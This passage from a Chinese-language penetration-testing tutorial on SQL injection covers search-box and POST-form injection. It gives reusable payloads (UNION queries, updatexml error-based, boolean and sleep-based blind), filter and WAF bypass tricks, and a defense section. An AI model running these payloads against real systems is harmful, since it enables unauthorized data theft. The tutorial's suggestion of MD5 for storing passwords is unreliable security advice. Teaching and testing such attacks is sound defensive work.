  4. 解析:%' 闭合了原生的 '%and 1=1 是测试条件,--+ 注释掉后面的 % 和单引号,使整个SQL语句语法合法,避免报错。

  5. 第三步:复用基础注入手法,获取敏感数据。以联合查询注入为例,完整Payload构造流程: 判断列数:搜索框输入 %' ORDER BY 3--+,逐步递增数字,直至页面报错,确定目标列数(与联合查询注入判断列数逻辑一致);

  6. 判断回显位:输入 %' UNION SELECT 1,2,3--+(替换3为实际列数),观察页面是否显示数字2、3,确定回显位;

  7. 查询敏感数据:输入 %' UNION SELECT 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--+,即可获取当前库名和所有表名,后续查表、查字段、查数据流程与联合查询注入完全一致。

(5)常用Payload模板(直接复用)

  • 漏洞测试:%' and 1=1--+(正常显示结果)、%' and 1=2--+(无结果,确认存在注入);

  • 报错注入(优先,无回显也可尝试):%' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

  • 联合查询(有回显):%' UNION SELECT 1,database(),version()--+

  • 布尔盲注(无回显、无报错):%' and length(database())=5--+(猜解库名长度)。

(6)注意事项

  • Payload需适配语法:必须先闭合搜索场景的 '%xxx%' 语法,否则恶意语句无法正常执行,常见闭合方式有 %''%,可根据后台SQL语法灵活调整;

  • 过滤绕过技巧:部分搜索框会过滤空格,可使用 /**/ 替代空格(如 %'/**/and/**/1=1--+);过滤单引号可尝试宽字节绕过(如 %df%27,URL编码后的 %df');

  • 避免查询结果干扰:搜索型注入中,原生查询可能返回大量无关结果,可使用 and 1=2limit 0,1 使原生查询无结果,避免覆盖恶意查询的回显结果(如%' and 1=2 UNION SELECT 1,database(),2--+)。

6.3 POST注入(请求方式适配型注入)

(1)核心原理

POST注入与前面介绍的注入手法核心逻辑完全一致,唯一区别是:注入参数的传递方式不同。前面的注入(如ID参数、搜索框)均为GET请求(参数拼接在URL中),而POST注入的参数通过POST请求体传递(如表单提交、AJAX请求),常见于登录框、注册框、留言板、后台提交表单等场景。由于POST请求参数不显示在URL中,部分开发者会忽视对其过滤,导致注入漏洞,且其隐蔽性更强(不易被日志记录、不易被手动发现)。

常见POST注入场景:登录表单(用户名、密码字段)、注册表单(手机号、邮箱、用户名字段)、后台数据提交(如添加商品、编辑用户的表单字段)、AJAX异步请求(如分页加载、数据查询的请求体参数)。

(2)适用场景

  1. 目标应用程序存在POST请求表单AJAX POST请求,参数通过请求体传递(而非URL);

  2. POST请求体中的参数(如username、password、keyword等)未经过严格过滤,或过滤不全面(如仅过滤GET参数,未过滤POST参数);

  3. 后台将POST参数直接拼接进SQL语句执行,未使用预编译、参数化查询等安全方式。

(3)实战关键步骤(核心是捕获POST参数)

POST注入的核心难点的是“捕获POST请求参数”,后续Payload构造、漏洞利用与GET请求注入(联合查询、报错注入等)完全一致,步骤如下:

  1. 第一步:捕获POST请求。使用浏览器开发者工具(F12)→ 切换到“网络”(Network)选项卡,在目标表单(如登录框)输入任意内容并提交,找到对应的POST请求(请求方法为POST),查看请求体(Form Data或Request Payload),获取需要测试的参数(如username=test&password=123);

  2. 第二步:测试漏洞存在性。将请求体中的参数替换为测试Payload(如将username=test替换为username=test'),重新发送请求,观察响应结果: 若响应中显示SQL报错信息,说明存在注入漏洞;

  3. 若响应显示“登录失败”“参数错误”等模糊提示,可尝试布尔型测试(如username=test' and 1=1--+&password=123),观察响应是否有差异;

  4. 若响应无任何差异,可尝试时间盲注(如username=test' and sleep(5)--+&password=123),观察请求响应时间是否延迟。

  5. 第三步:构造适配Payload,利用漏洞。根据测试结果,选择对应的注入手法(有报错用报错注入,有回显用联合查询,无差异用时间盲注),将Payload放入POST请求体的参数中,重新发送请求,获取敏感数据。

(4)常用Payload示例(以登录框为例)

假设登录框的POST请求体为:username=test&password=123,后台SQL语句为:select * from admin where username='test' and password='123',以下是不同注入手法的Payload:

  • 报错注入(优先): 请求体:username=test' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&password=123

  • 解析:单引号闭合username字段的SQL语法,拼接报错函数Payload,--+注释掉后面的单引号和password相关查询,响应中会显示当前库名。

联合查询注入(有回显,如登录成功会显示用户信息): 请求体:username=test' UNION SELECT 1,2,database()--+&password=123

解析:闭合单引号后,拼接联合查询语句,获取数据库名、表名等敏感数据,若登录成功页面有回显,可直接看到结果。

时间盲注(无回显、无报错): 请求体:username=test' and if(length(database())=5, sleep(5), 0)--+&password=123

解析:若库名长度为5,请求会延迟5秒响应,否则正常响应,通过响应时间判断猜解结果。

(5)注意事项

  • 请求头适配:部分POST请求会验证请求头(如Content-Type、Referer、Cookie等),重新发送请求时,需保持请求头与原始请求一致,否则会被拦截,无法正常执行;

  • 参数编码:POST请求体中的参数若包含特殊字符(如单引号、%、&),需进行URL编码(如单引号'编码为%27,&编码为%26),避免请求体解析错误;

  • 隐蔽性操作:POST注入参数不显示在URL中,可适当控制请求频率,避免触发防护机制;同时,可利用Burp Suite等工具批量发送POST请求,提高注入效率;

  • 多参数测试:POST表单通常有多个参数(如username、password、email),需逐个测试每个参数,避免遗漏漏洞(部分参数过滤严格,部分参数无过滤)。

7. 注入漏洞防护方案(实战补充,攻防结合)

掌握注入利用手法的同时,需了解对应的防护方案,既便于实战中绕过防护,也能形成完整的攻防认知。以下是企业实战中最常用、最有效的防护手段,覆盖开发、部署、运维全流程,可直接用于防护各类SQL注入漏洞。

7.1 核心防护手段(优先落地,性价比最高)

  1. 参数化查询(预编译语句):这是最根本、最有效的防护手段,彻底杜绝SQL注入。核心原理:将SQL语句的结构与参数分离,SQL语句提前预编译,用户输入的参数仅作为“数据”传入,而非SQL语句的一部分,即使参数包含恶意代码,也不会被当作SQL语句执行。示例(MySQL+PHP): `# 安全写法(参数化查询) $stmt = $pdo->prepare("select * from admin where username = ? and password = ?"); $stmt->execute([$username, $password]); // 用户输入的参数作为数组传入,仅作为数据

危险写法(直接拼接,易注入)

$sql = "select * from admin where username = '$username' and password = '$password'"; $pdo->query($sql);`注意:所有关系型数据库(MySQL、MSSQL、Oracle)均支持参数化查询,开发时需强制使用,避免直接拼接SQL语句。

  1. 严格的输入过滤:对用户输入的所有参数(GET、POST、Cookie、请求头)进行过滤,重点过滤SQL关键字、特殊符号,形成“白名单”或“黑名单”过滤机制: 黑名单过滤:过滤UNION、SELECT、INSERT、DELETE、DROP、sleep、updatexml等SQL关键字,以及单引号、分号、百分号等特殊符号,可结合大小写混淆、编码绕过场景,进行全面过滤(如过滤Union、SeLeCt等变形关键字);

  2. 白名单过滤:更安全的方式,仅允许用户输入指定类型、指定格式的数据(如ID参数仅允许输入数字,用户名仅允许输入字母、数字、下划线),不符合规则的输入直接拒绝,从源头杜绝恶意输入。

  3. 关闭错误回显:禁止页面显示具体的SQL报错信息,开发环境可开启错误回显用于调试,生产环境必须关闭,统一返回模糊的错误提示(如“操作失败,请重试”“参数错误”),避免泄露SQL语句结构、数据库版本等敏感信息,切断报错注入、联合查询注入的回显路径。

7.2 辅助防护手段(补充加固,提升安全性)

  1. 部署WAF(Web应用防火墙):在服务器前端部署WAF(如阿里云WAF、百度云WAF、开源的ModSecurity),WAF可自动识别、拦截注入Payload(如包含UNION、sleep、单引号等特征的请求),形成一道外部防护屏障,无需修改应用程序代码,即可快速防护各类注入攻击;

  2. 数据库权限最小化:给应用程序连接数据库的用户分配最小权限,禁止使用root、sa等超级管理员账号连接数据库: 仅授予“查询、插入、更新”等必要权限,禁止授予“删除、修改表结构、创建用户、写文件”等高危权限;

  3. 限制数据库用户的访问IP,仅允许应用程序服务器的IP访问数据库,防止数据库被外部非法访问。

  4. 定期安全审计与更新:定期审计应用程序代码,排查是否存在SQL语句拼接、过滤不严等漏洞;定期更新数据库版本、WAF规则、应用程序框架,修复已知的安全漏洞,避免被攻击者利用旧漏洞进行注入;

  5. 加密敏感数据:对数据库中的敏感数据(如管理员密码、用户手机号、银行卡号)进行加密存储(如使用MD5、SHA256等哈希算法加密密码),即使攻击者通过注入获取到数据,也无法直接得到明文信息,降低漏洞造成的损失。

8. 实战总结(核心要点梳理)

所有SQL注入手法的核心逻辑一致:通过构造恶意SQL语句,拼接进后台执行的SQL查询中,利用数据库的执行特性,获取敏感数据或执行恶意操作。实战中,无需死记硬背所有Payload,关键是掌握“场景判断→手法选择→Payload构造→漏洞利用”的闭环思路,步骤如下:

  1. 第一步:判断场景。根据目标页面的回显情况、请求方式、输入场景,确定适用的注入手法(有回显用联合查询,有报错用报错注入,无差异用时间盲注,搜索框用搜索型注入,POST请求用POST注入);

  2. 第二步:测试漏洞。通过输入单引号、特殊字符等,判断是否存在注入漏洞,明确过滤规则(如是否过滤单引号、SQL关键字);

  3. 第三步:构造Payload。根据场景和过滤规则,构造适配的Payload(如宽字节绕过转义,搜索型注入闭合LIKE语法,POST注入放入请求体);

  4. 第四步:利用漏洞。逐步执行注入步骤,获取库名、表名、字段名、敏感数据,或执行恶意操作(堆叠注入);

  5. 第五步:绕过防护。若Payload被拦截,可通过大小写混淆、编码绕过、注释插入、替代函数等方式,绕过WAF和应用程序的过滤。

同时需注意:SQL注入攻击仅用于合法的渗透测试场景,需提前获得目标授权,严禁用于非法攻击,否则将承担相应的法律责任。掌握注入手法的同时,了解防护方案,才能形成完整的攻防思维,应对各类实战场景。

← 代码审计篇(从源码定位漏洞) SQL注入手工检测流程 →